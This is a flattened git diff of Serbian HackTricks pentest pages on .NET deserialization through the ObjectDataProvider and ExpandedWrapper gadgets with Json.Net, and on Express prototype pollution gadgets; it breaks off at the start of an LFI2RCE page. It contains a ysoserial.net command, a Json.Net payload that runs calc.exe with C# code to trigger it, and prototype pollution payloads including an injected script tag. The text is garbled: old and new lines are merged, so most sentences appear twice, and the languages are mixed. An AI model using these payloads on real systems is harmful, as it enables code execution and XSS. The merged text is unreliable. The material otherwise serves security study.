* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,48 +1,51 @@
# Osnovna .Net deserijalizacija (gadget ObjectDataProvider, ExpandedWrapper i Json.Net) # Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper i Json.Net)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
Ovaj post je posvećen **razumevanju kako se gadget ObjectDataProvider eksploatiše** radi dobijanja RCE-a i **kako** se biblioteke za serijalizaciju **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom. Ovaj post je posvećen **razumevanju kako se gadget ObjectDataProvider koristi** za dobijanje RCE i **kako** se biblioteke za serijalizaciju **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom.
## Gadget ObjectDataProvider ## ObjectDataProvider Gadget
Iz dokumentacije: _klasa ObjectDataProvider omotava i kreira objekat koji možete koristiti kao izvor povezivanja_.\ Iz dokumentacije: _klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao izvor vezivanja_.\
Da, to je čudno objašnjenje, pa da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava da **omotate proizvoljni objekat**, koristite _**MethodParameters**_ da **postavite proizvolne parametre,** a zatim **koristite MethodName da pozovete proizvoljnu funkciju** proizvoljnog objekta deklarisanog koristeći proizvolne parametre.\ Da, to je čudno objašnjenje, pa hajde da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava **obavijanje proizvoljnog objekta**, korišćenje _**MethodParameters**_ za **postavljanje proizvoljnih parametara,** a zatim **korišćenje MethodName za pozivanje proizvoljne funkcije** proizvoljnog objekta deklarisanog korišćenjem proizvoljnih parametara.\
Stoga, proizvoljni **objekat** će **izvršiti** funkciju sa **parametrima dok se deserijalizuje.** Stoga, proizvoljni **objekat** će **izvršiti** **funkciju** sa **parametrima dok se deserializuje.**
### **Kako je ovo moguće** ### **Kako je to moguće**
Prostor imena **System.Windows.Data**, koji se nalazi unutar **PresentationFramework.dll** na `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, je gde je definisan i implementiran ObjectDataProvider. **System.Windows.Data** prostor imena, koji se nalazi unutar **PresentationFramework.dll** na `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, je mesto gde je ObjectDataProvider definisan i implementiran.
Korišćenjem [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **pregledati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Naziv metode** Korišćenjem [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **inspektovati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode**
![](<../../.gitbook/assets/image (427).png>) ![](<../../.gitbook/assets/image (427).png>)
Kao što možete primetiti, kada se postavi `MethodName` poziva se `base.Refresh()`, hajde da vidimo šta ona radi: Kao što možete primetiti, kada je `MethodName` postavljen, poziva se `base.Refresh()`, hajde da pogledamo šta to radi:
![](<../../.gitbook/assets/image (319).png>) ![](<../../.gitbook/assets/image (319).png>)
Ok, nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je preklopljen od strane `ObjectDataProvider` i ovo je šta on radi: U redu, hajde da nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi:
![](<../../.gitbook/assets/image (345).png>) ![](<../../.gitbook/assets/image (345).png>)
Primetite da na kraju koda poziva `this.QueryWorke(null)`. Hajde da vidimo šta ta funkcija izvršava: Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Hajde da vidimo šta to izvršava:
![](<../../.gitbook/assets/image (596).png>) ![](<../../.gitbook/assets/image (596).png>)
Primetite da ovo nije kompletan kod funkcije `QueryWorker` ali pokazuje interesantan deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **poziva postavljena metoda**. Napomena: ovo nije kompletan kod funkcije `QueryWorker`, ali pokazuje zanimljiv deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **postavljena metoda poziva**.
Ako želite da proverite da li će se izvršiti samo postavljanjem _**MethodName**_\*\*, možete pokrenuti ovaj kod: Ako želite da proverite da samo postavljanje _**MethodName**_\*\* će biti izvršeno\*\*, možete pokrenuti ovaj kod:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -62,16 +65,16 @@ myODP.MethodName = "Start";
} }
} }
``` ```
Napomena da morate dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako biste učitali `System.Windows.Data` Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako bi se učitao `System.Windows.Data`
## ExpandedWrapper ## ExpandedWrapper
Korišćenjem prethodnog eksploata postojiće slučajevi kada će se **objekat** **deserijalizovati kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke ranjivosti, korišćenjem XmlSerializer-a, objekat je deserijalizovan korišćenjem `GetType`). Tada, nećemo imati **znanje o tipu objekta koji je zapakovan** u instanci _ObjectDataProvider_ (`Process` na primer). Više informacija o DotNetNuke ranjivosti možete pronaći [ovde](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** _**ObjectDataProvider**_ instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **znanje o tipu objekta koji je obavijen** u _ObjectDataProvider_ instanci (`Process` na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Ova klasa omogućava da se **specifikuju tipovi objekata koji su zapakovani** u datoj instanci. Dakle, ova klasa može biti korišćena da zapakuje izvorni objekat (_ObjectDataProvider_) u novi tip objekta i obezbedi potrebne osobine (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ Ova klasa omogućava da se **odrede tipovi objekata objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao što je prethodno prikazani, jer ćemo biti u mogućnosti da **zapakujemo \_ObjectDataProvider**_\*\* unutar \*\*_**ExpandedWrapper** \_ instance i **prilikom deserijalizacije** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_. Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_\*\* unutar \*\*_**ExpandedWrapper** \_ instance i **kada se deserijalizuje** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
Možete proveriti ovaj omotač pomoću sledećeg koda: Možete proveriti ovaj wrapper sa sledećim kodom:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
Na [zvaničnoj web stranici](https://www.newtonsoft.com/json) naznačeno je da ova biblioteka omogućava **Serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću snažnog JSON serializer-a Json.NET**. Dakle, ako bismo mogli **deserijalizovati ObjectDataProvider gedžet**, mogli bismo izazvati **RCE** samo deserijalizovanjem objekta. Na [službenoj veb stranici](https://www.newtonsoft.com/json) je navedeno da ova biblioteka omogućava **serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET**. Dakle, ako bismo mogli **deserijalizovati ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserializovanjem objekta.
### Primer Json.Net ### Json.Net primer
Prvo da vidimo primer kako **serijalizovati/deserijalizovati** objekat koristeći ovu biblioteku: Prvo, hajde da vidimo primer kako da **serijalizujemo/deserijalizujemo** objekat koristeći ovu biblioteku:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -144,7 +147,7 @@ Console.WriteLine(desaccount.Email);
``` ```
### Zloupotreba Json.Net ### Zloupotreba Json.Net
Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) kreirao sam eksploit: Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) kreirao sam eksploataciju:
```java ```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{ {
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
} }
``` ```
U ovom kodu možete **testirati eksploit**, jednostavno ga pokrenite i videćete da je kalkulator izvršen: U ovom kodu možete **testirati eksploataciju**, samo ga pokrenite i videćete da se izvršava kalkulator:
```java ```java
using System; using System;
using System.Text; using System.Text;
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
} }
} }
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Ekspres Prototip Pollution Gadžeti # Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Posluži XSS odgovore ## Serve XSS responses
**Za dalje detalje** [**pogledajte originalno istraživanje**](https://portswigger.net/research/server-side-prototype-pollution) **Za više detalja** [**pogledajte originalno istraživanje**](https://portswigger.net/research/server-side-prototype-pollution)
### Promeni JSON content-type u HTML ### Change JSON content-type to HTML
U Express aplikaciji koristeći **JSON content type odgovor** i reflektujući JSON: U Express aplikaciji koja koristi **JSON content type response** i reflektuje JSON:
```javascript ```javascript
app.use(bodyParser.json({type: 'application/json'})); app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){ app.post('/', function(req, res){
@ -42,41 +43,41 @@ _.merge({}, req.body);
res.send(req.body); res.send(req.body);
}); });
``` ```
U ovim slučajevima XSS obično nije moguć sa JSON sadržajem. Međutim, pomoću prototype pollution-a možemo **zbuniti Express da posluži HTML odgovor.** Ova ranjivost se oslanja na aplikaciju koja koristi **`res.send(obj)`** i koristi body parser sa application/json sadržajem. U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, sa zagađenjem prototipa možemo **zbuniti Express da vrati HTML odgovor.** Ova ranjivost se oslanja na aplikaciju koja koristi **`res.send(obj)`** i koristi parser tela sa tipom sadržaja application/json.
```json ```json
{"__proto__":{"_body":true,"body":"<script>evil()"}} {"__proto__":{"_body":true,"body":"<script>evil()"}}
``` ```
Kroz **zagađivanje** svojstava **`body`** i **`_body`**, moguće je izazvati da **Express posluži sadržaj HTML tipa** i odrazi svojstvo `_body`, što rezultira sačuvanim XSS-om. By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
### Renderovanje UTF7 ### Render UTF7
Moguće je naterati express da **renderuje UTF-7 sadržaj sa**: Moguće je naterati express da **prikazuje UTF-7 sadržaj sa**:
```json ```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}} {"__proto__":{"content-type": "application/json; charset=utf-7"}}
``` ```
## Bezbedne tehnike skeniranja ## Tehnike bezbednog skeniranja
### JSON razmaci ### JSON razmaci
Sledeći PP će učiniti da atributi unutar JSON-a imaju dodatni razmak koji neće narušiti funkcionalnost: Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u, što neće pokvariti funkcionalnost:
```json ```json
{"__proto__":{"json spaces": " "}} {"__proto__":{"json spaces": " "}}
``` ```
Zatim će reflektovani JSON izgledati ovako: Тада ће рефлектовани JSON изгледати овако:
```json ```json
{"foo": "bar"} -- Note the extra space {"foo": "bar"} -- Note the extra space
``` ```
### Izloženi zaglavlja ### Izloženi Headeri
Sledeći PP gedžet će naterati server da pošalje nazad HTTP zaglavlje: **`Access-Control-Expose_headers: foo`** The following PP gadget will make the server send back the HTTP header: **`Access-Control-Expose_headers: foo`**
```json ```json
{"__proto__":{"exposedHeaders":["foo"]}} {"__proto__":{"exposedHeaders":["foo"]}}
``` ```
Potrebno je da je **CORS modul instaliran** Zahteva se **CORS modul da bude instaliran**
### **OPTIONS Metod** ### **OPTIONS Metoda**
Sa sledećim payload-om, moguće je **sakriti metod iz OPTIONS odgovora**: Sa sledećim payload-om, moguće je **sakriti metodu iz OPTIONS odgovora**:
```javascript ```javascript
// Original reponse: POST,GET,HEAD // Original reponse: POST,GET,HEAD
@ -87,38 +88,38 @@ Sa sledećim payload-om, moguće je **sakriti metod iz OPTIONS odgovora**:
``` ```
### **Status** ### **Status**
Moguće je promeniti **vraćeni statusni kod** koristeći sledeći PP payload: Moguće je promeniti **vratni status kod** koristeći sledeći PP payload:
```json ```json
{"__proto__":{"status":510}} {"__proto__":{"status":510}}
``` ```
### Greška ### Greška
Kada dodelite prototipu primitivnu vrednost poput stringa, to proizvodi **operaciju bez efekta jer prototip mora biti objekat**. Ako pokušate da dodelite prototipni objekat samom `Object.prototype`, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da bismo **detektovali da li je prototipno zagađenje uspešno**: Kada dodelite prototipu primitiv kao što je string, to proizvodi **no-op operaciju jer prototip mora biti objekat**. Ako pokušate da dodelite objekat prototipa samom `Object.prototype`, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da **otkrijemo da li je zagađenje prototipa bilo uspešno**:
```javascript ```javascript
({}).__proto__.__proto__={}//throws type exception ({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception ({}).__proto__.__proto__="x"//no-op does not throw exception
``` ```
### Reflektovana vrednost ### Reflected Value
Kada aplikacija uključi objekat u svoj odgovor, kreiranje atributa sa **neobičnim imenom pored `__proto__`** može biti informativno. Konkretno, ako je **samo neobični atribut vraćen** u odgovoru, to bi moglo ukazivati na ranjivost aplikacije: Kada aplikacija uključuje objekat u svoj odgovor, kreiranje atributa sa **neobičnim imenom pored `__proto__`** može biti korisno. Konkretno, ako **samo neobični atribut bude vraćen** u odgovoru, to može ukazivati na ranjivost aplikacije:
```json ```json
{"unusualName":"value","__proto__":"test"} {"unusualName":"value","__proto__":"test"}
``` ```
Osim toga, u scenarijima gde se koristi biblioteka poput Lodash-a, postavljanje svojstva i putem proto-izmena (PP) i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljnom objektu pre spajanja: Pored toga, u scenarijima gde se koristi biblioteka kao što je Lodash, postavljanje svojstva kako putem zagađenja prototipa (PP) tako i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljanom objektu pre nego što ga spoji:
```javascript ```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"} {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
``` ```
## Razno ## Misc
### Dozvoli tačke ### Dozvolite tačke
Postoji opcija u Express-u koja vam omogućava da **kreirate objekte iz parametara upita u nizu**.\ Postoji opcija u Express-u koja vam omogućava da **kreirate objekte iz parametara upita**.\
Svakako biste je mogli koristiti u lancu grešaka da iskoristite **ranjivost prototipa zagađenja**. Definitivno biste mogli da je koristite u **lancu** grešaka za iskorišćavanje **ranjivosti zagađenja prototipa**.
```json ```json
{"__proto__":{"allowDots":true}} {"__proto__":{"allowDots":true}}
``` ```
**`?foo.bar=baz` kreira objekat u Node-u.** **`?foo.bar=baz` kreira objekat u Node.**
## Reference ## Reference
@ -128,24 +129,25 @@ Svakako biste je mogli koristiti u lancu grešaka da iskoristite **ranjivost pro
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **tamnom webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# LFI2RCE putem Nginx privremenih fajlova # LFI2RCE putem Nginx temp fajlova
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
